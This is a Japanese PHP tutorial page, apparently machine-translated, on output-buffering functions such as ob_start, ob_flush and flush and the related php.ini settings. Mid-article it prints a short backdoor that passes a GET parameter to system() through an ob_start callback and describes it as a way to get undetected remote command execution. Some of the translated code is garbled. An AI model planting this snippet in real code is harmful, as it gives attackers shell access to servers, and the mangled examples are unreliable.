ホームページ  >  記事  >  バックエンド開発  >  PHP出力バッファ制御の詳細説明 Output Controlシリーズの機能_PHPチュートリアル

PHP出力バッファ制御の詳細説明 Output Controlシリーズの機能_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-13 09:47:33661ブラウズ

PHPの出力バッファ制御Output Controlシリーズの機能の詳細説明

この記事では主にPHPの出力バッファ制御Output Controlシリーズの機能の詳細な説明を紹介します この記事では、出力バッファリングの導入、出力バッファリングの役割、 php.ini項目の設定や出力制御機能の詳しい説明など、困っている方は参考にしてください

概要

以前、PHPの入出力バッファリングについて勉強したことがありましたが、ブログ移転後、元の記事が見つからなくなってしまったので、ついでに今日良い記事を見つけたので再投稿します。

はじめに

出力バッファリングについて話すとき、最初に話題になるのはバッファーと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。

実際、PHP プログラマの場合、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。

次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。

コードは以下の通りです:

「アップル」をエコー;

「IBM」をエコー;

「マイクロソフト」をエコー

上記のスクリプトを実行すると、スクリプトが最初のエコーの実行を終了したときに、対応するコンテンツはブラウザーに出力されませんが、3 つのエコーがすべて実行されたときにバッファーに出力されます (つまり、スクリプトが終了すると)、バッファーのすべての内容がブラウザーに出力されます。もちろん、このバッファにもサイズ制限があり、php.ini の Output_buffering オプションに従って設定されます。これについては、次の記事で詳しく紹介します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。

次の例は、出力バッファ制御のアプリケーションをよりよく反映しています:

コードは次のとおりです:

エコー「アップル」(2);

echo 'IBM' ;

「マイクロソフト」をエコー;

出力結果を確認するには少なくとも 2 秒待つ必要があるので、リアルタイムで表示できますか? つまり、最初のエコーが実行されたときに、対応する内容が出力されることになります。バッファ制御関数 バッファを操作してみましょう。具体的な実装については、記事の最後で発表します。

機能

1. PHPではheader()、session_start()、setcookie()などのヘッダファイルを送信する関数の前に出力することはできませんが、出力バッファ制御関数を使用することでReportなしでこれらの関数の前に出力することができます。エラー。実際には、これを行う必要はなく、非常にまれな用途です。

2. 静的キャッシュファイルの生成やgzip圧縮出力の実行など、出力内容を処理する これはよく使われる機能です。

3. phpinfo()、var_dump()などの取得できない関数出力をキャプチャします。これらの関数はブラウザに操作結果を表示します。これらの結果を処理したい場合は、出力バッファ制御関数を使用すると良いでしょう。方法。簡単に言うと、この種の関数には戻り値がありません。これらの関数の出力データを取得するには、出力バッファ制御関数を使用する必要があります。

4. 最後のアプリケーションは、導入部分で述べたいくつかのデータのリアルタイム出力です。

php.iniの関連設定項目

php.iniの出力バッファリング制御に関するオプションを見てみましょう。output_buffering、implicit_flush、output_handlerの合計3つのオプションがあります。

1.output_buffering のデフォルトは off です。on に設定すると、出力バッファーがすべてのスクリプトで自動的に開きます。つまり、ob_start() 関数が関数を明示的に呼び出すことなく、各スクリプトで自動的に実行されます。バッファに保存できる最大バイト数を表す整数に設定することもできます。この構成項目については、例 1 の説明で説明しました。

2.Implicit_flush のデフォルトはオフです。オンに設定すると、PHP は出力後にバッファーの内容を自動的に送信します。つまり、flush() は各出力の後に自動的に実行されます。もちろん、有効な出力とは、echo や print などの関数を指すだけでなく、HTML セグメントも含まれます。

3.output_handler のデフォルトは null で、その値は組み込み関数名にのみ設定できます。その機能は、定義された関数を使用してスクリプトのすべての出力を処理することです。その使用法は、以下で紹介する ob_start(‘function_name’) と似ています。

この記事では、特に断りのない限り、php.iniのoutput_buffering、implicit_flush、output_handlerの値はデフォルト値となります。

Output Control機能の詳しい説明

ob_start()

bool ob_start ([ callback Outputcallback[,inchunk_size [, bool $erase ]]] )

この関数の意味は名前からもわかりますが、出力バッファ処理の次のステップのために出力バッファをオープンするというものです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数を以下に紹介します。簡単な例を見ることでその使用法を理解できます。

コードは以下の通りです:

関数 dothing1($echo_thing){

「$echo_thing」を返します。

}

ob_start('dothing1');

「アップル」をエコー;

結果を出力する

#アップル#

出力結果を見ると、単語の両側に「#」が付加されていることがわかりますが、これはバッファの内容を出力する際に​​定義したdothing1関数が実行されることを意味しています。

より実践的な例を見てみましょう。これは、gzip を使用して Web コンテンツを圧縮して出力する一般的な方法です。コードは次のとおりです。

コードは次のとおりです:

ob_start();

echo str_repeat('Apple', 1024);

出力結果:gzip圧縮なしの場合、出力コンテンツのサイズは5.2KBです。

出力結果:gzip圧縮を使用すると、文書サイズがはるかに小さくなり、圧縮に時間がかかるため、時間がかかります。

2 番目のパラメータ chunk_size はバッファのバイト長です。バッファの内容がこの長さより大きい場合、デフォルト値は 0 で、関数は最後に呼び出されます。 3 番目のパラメータ Erase が flase に設定されている場合、スクリプトが実行されるまでバッファが削除されないことを意味します。 事前にバッファ削除関数 (後述) が実行されている場合は、エラーが報告されます。

ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります:

1.ob_start() は繰り返し呼び出すことができます。これは、スクリプト内に複数のバッファーが存在できることを意味しますが、複数の ob_starts が最初のパラメーターを定義している場合、コールバック関数が定義されている場合でも、それらをネストした順序ですべて閉じることを忘れないでください。ネストされた順序で実行されます。バッファのスタッキングとネストについては、ob_get_level 関数で詳しく説明するので、ここでは詳しく説明しません。

2.ob_start() あまり目立たないが致命的なバックドアの使用法もあります。実装コードは次のとおりです。

コードは次のとおりです:

$cmd = 'システム';

ob_start($cmd);

エコー $_GET['a'];

ob_end_flush();

結果をウィンドウの下に出力します:

14 ディレクトリ 30,970,388,480 利用可能バイト

上記のob_startの使い方を理解していれば、このコードはob_start関数を使ってバッファ出力の内容をパラメータとしてset関数に渡し、Webサーバー権限でのリモートアクセスを実現しています。検出されずに。

ob_get_contents()

文字列 ob_get_contents (void)

この関数は、この時点でバッファーの内容を取得するために使用されます。次の例は、その使用法をよりよく理解することができます。

コードは以下の通りです:

ob_start('doting2');

「リンゴ」をエコー;

$tmp = ob_get_contents();

file_put_contents('./doting2', $tmp);

ob_end_flush()

ob_get_length()

この関数はバッファの内容の長さを取得するために使用されます。

ob_get_level()

int ob_get_level (void)

この関数はバッファメカニズムのネストレベルを取得するために使用されます。 ob_start() 関数を導入したときに、スクリプト内で複数のバッファをネストできると言いましたが、この関数は現在のバッファレベルのネストを取得するものです。 、使用方法は次のとおりです:

コードは次のとおりです:

ob_start();

var_dump(ob_get_level());

ob_start();

var_dump(ob_get_level());

ob_end_flush();

ob_end_flush();

走った後、彼らの巣作りの関係がはっきりとわかります。

ob_get_status()

array ob_get_status ([ bool $full_status = FALSE ] )

この関数は現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、この配列を例で分析してみましょう。

コードは次のとおりです:

ob_start('ob_gzhandler');

var_export(ob_get_status());

ob_start();

var_export(ob_get_status());

ob_end_flush();

運用結果

array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )

array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default Output handler', 'del' => true, )

説明:

1.levelはネストレベルで、ob_get_level()で取得した値と同じです

2.typeは処理バッファのタイプで、0はシステム内での自動処理、1はユーザーによる手動処理を意味します

3.statusはバッファ処理ステータス、0は開始、1は進行中、2は終了です

4.nameは定義された出力処理関数の名前で、ob_start()関数の最初のパラメータとして渡される関数名です

5.delはバッファ削除操作が実行されたかどうかを示します

ob_flush()

void ob_flush (ボイド)

この関数の機能は、現在のバッファの内容を「送信」すると同時にバッファをクリアすることです。ここで「送信」という言葉が使用されていることに注意してください。これは、この関数を呼び出してもバッファの内容は出力されないことを意味します。とその後に続く必要があります。これは、flush 関数を呼び出した後にのみ出力されます。フラッシュの使用法については後で説明しますが、ここでは例は示しません。

フラッシュ()

ボイドフラッシュ(ボイド)

この関数は比較的一般的に使用されており、以前の出力をすべてブラウザに送信して表示するために使用され、キャッシュ領域には影響を与えません。つまり、echo などの関数の出力、HTML エンティティ、ob_start() の実行によって送信されたコンテンツのいずれであっても、flush() の実行後にブラウザに表示されます。

ob_flush()とflush()の違い

キャッシュが有効になっていない場合、スクリプトが出力したコンテンツはサーバー側で出力待ちになっており、flush() で出力待ちのコンテンツをクライアントに即座に送信できます。 キャッシュがオンになった後、スクリプトによって出力されたコンテンツは出力キャッシュに保存されます。この時点で、flush() を直接使用すると、コンテンツはクライアントに送信されません。 ob_flush() の機能は、元々出力キャッシュに格納されていたコンテンツを取り出して出力待機状態に設定することですが、この場合、最初に ob_flush() を使用する必要があります。その後、flush() を実行すると、クライアントはスクリプトの出力をすぐに取得できます。

void ob_implicit_flush()

この関数は、絶対フラッシュ モードをオン/オフするために使用されます。このモードは、各出力後に自動的にフラッシュ()を実行するため、効率を向上させるために明示的にフラッシュ()を呼び出す必要はありません。

その他の関連機能

1.bool ob_end_flush (void)

2.string ob_get_flush (void)

3.void ob_clean (ボイド)

4.bool ob_end_clean (void)

5.string ob_get_clean (void)

一部のデータのリアルタイム出力を実行します

上記の内容を読むと、PHP のバッファ制御機能についてより深く理解できると思います。ここで、導入部で残された質問に戻りましょう。例 2 のスクリプトで、4 を待たずにコンテンツのリアルタイム表示を実現します。すべては数秒後に表示されます。

キャッシュがオンになっているかどうかに応じて、以下のようにいくつかの記述方法があります。テスト中に期待した効果が得られない場合は、header('content-type:text/html;charset=utf-) を使用できます。 8'); 以下に str_repeat(' ', 1024); を挿入することもできますが、一部のブラウザではこれを行っても効果が得られない場合があります。ブロック本体。次のコードでは header('content-type:text/html;charset=utf-8'); を省略しないでください。省略しないと、一部のブラウザで効果が見られません。

コードは次のとおりです:

ob_start(''); //ここでは ob_start('ob_gzhandler') を使用していますが、効果はありません

ヘッダー('content-type:text/html;charset=utf-8');

「Apple #」をエコーし​​ます;

ob_flush();

睡眠(2);

「IBM #」をエコーし​​ます;

ob_flush();

睡眠(2);

「Microsoft」をエコー;

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/1025901.html技術記事 PHP出力バッファ制御Output Controlシリーズの関数の詳細説明 この記事では主にPHP出力バッファ制御Output Controlシリーズの関数の詳細説明を紹介しています、出力バッファリング...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。